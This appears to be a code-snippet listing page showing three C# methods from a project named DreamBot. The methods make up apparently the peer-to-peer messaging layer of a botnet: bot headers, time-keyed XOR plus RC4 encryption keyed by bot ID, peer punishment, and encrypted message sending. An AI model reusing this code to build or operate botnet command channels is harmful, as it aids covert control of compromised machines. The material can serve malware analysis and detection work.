コード例 #1
0
ファイル: PeerManager.cs プロジェクト: PleXone2019/DreamBot
        private void PackageReceivedEventArgs(object sender, PackageReceivedEventArgs <IPEndPoint> e)
        {
            var data = e.Payload;

            var now     = new TimeSpan(DateTime.UtcNow.Ticks);
            var minutes = now.TotalMilliseconds / (1000 * 60);
            var xor     = new Mod2(BitConverter.GetBytes(minutes));

            xor.Decrypt(data);

            var rc4 = new Rc4(_botId.ToByteArray());

            rc4.Decrypt(data);

            var botHeader = BotHeader.Decode(data);

            if (!IsValidHeader(botHeader))
            {
                _peerList.Punish(botHeader.BotId);
                return;
            }

            botHeader.EndPoint = e.Proto;
            _peerList.UpdatePeer(botHeader.BotId);
            Events.Raise(BotPackageReceivedEventArgs, this, new PackageReceivedEventArgs <BotHeader>(botHeader, data));
        }
コード例 #2
0
ファイル: MessageHeader.cs プロジェクト: PleXone2019/DreamBot
        public byte[] Encode()
        {
            var buffer = new byte[Size];

            using (var w = new BinaryWriter(new MemoryStream(buffer)))
            {
                w.Write(Padding);
                w.Write(MessageId);
                w.Write(PayloadSize);
                w.Write(CorrelationId);
                w.Write(Ttl);
                w.Write(BotId.ToByteArray());
            }
            return(buffer);
        }
コード例 #3
0
ファイル: PeerManager.cs プロジェクト: PleXone2019/DreamBot
        public void Send(short messageId, ulong correlationId, short ttl, byte[] payload, BotIdentifier botId)
        {
            if (!_peerList.IsRegisteredBot(botId))
            {
                return;
            }

            var padding = RandomUtils.NextPadding();
            var header  = new BotHeader {
                CorrelationId = correlationId == 0 ? RandomUtils.NextCorrelationId() : correlationId,
                BotId         = botId,
                MessageId     = messageId,
                PayloadSize   = (short)payload.Length,
                Padding       = (short)padding.Length,
                Ttl           = ttl == 0 ? RandomUtils.NextTtl() : ttl
            };

            var message = BufferUtils.Concat(header.Encode(), padding);

            var rc4 = new Rc4(botId.ToByteArray());

            rc4.Encrypt(message);

            var now     = new TimeSpan(DateTime.UtcNow.Ticks);
            var minutes = now.TotalMilliseconds / (1000 * 60);
            var xor     = new Mod2(BitConverter.GetBytes(minutes));

            xor.Decrypt(message);

            var endPoint = _peerList[botId];

            Logger.Verbose(3, "{0}@{1} {2}", header.BotId, endPoint, header.CorrelationId);
            _comunicationManager.Send(endPoint, message);
            if (correlationId == 0)
            {
                _waitingForReply.Add(new Package(endPoint, message), correlationId);
            }
        }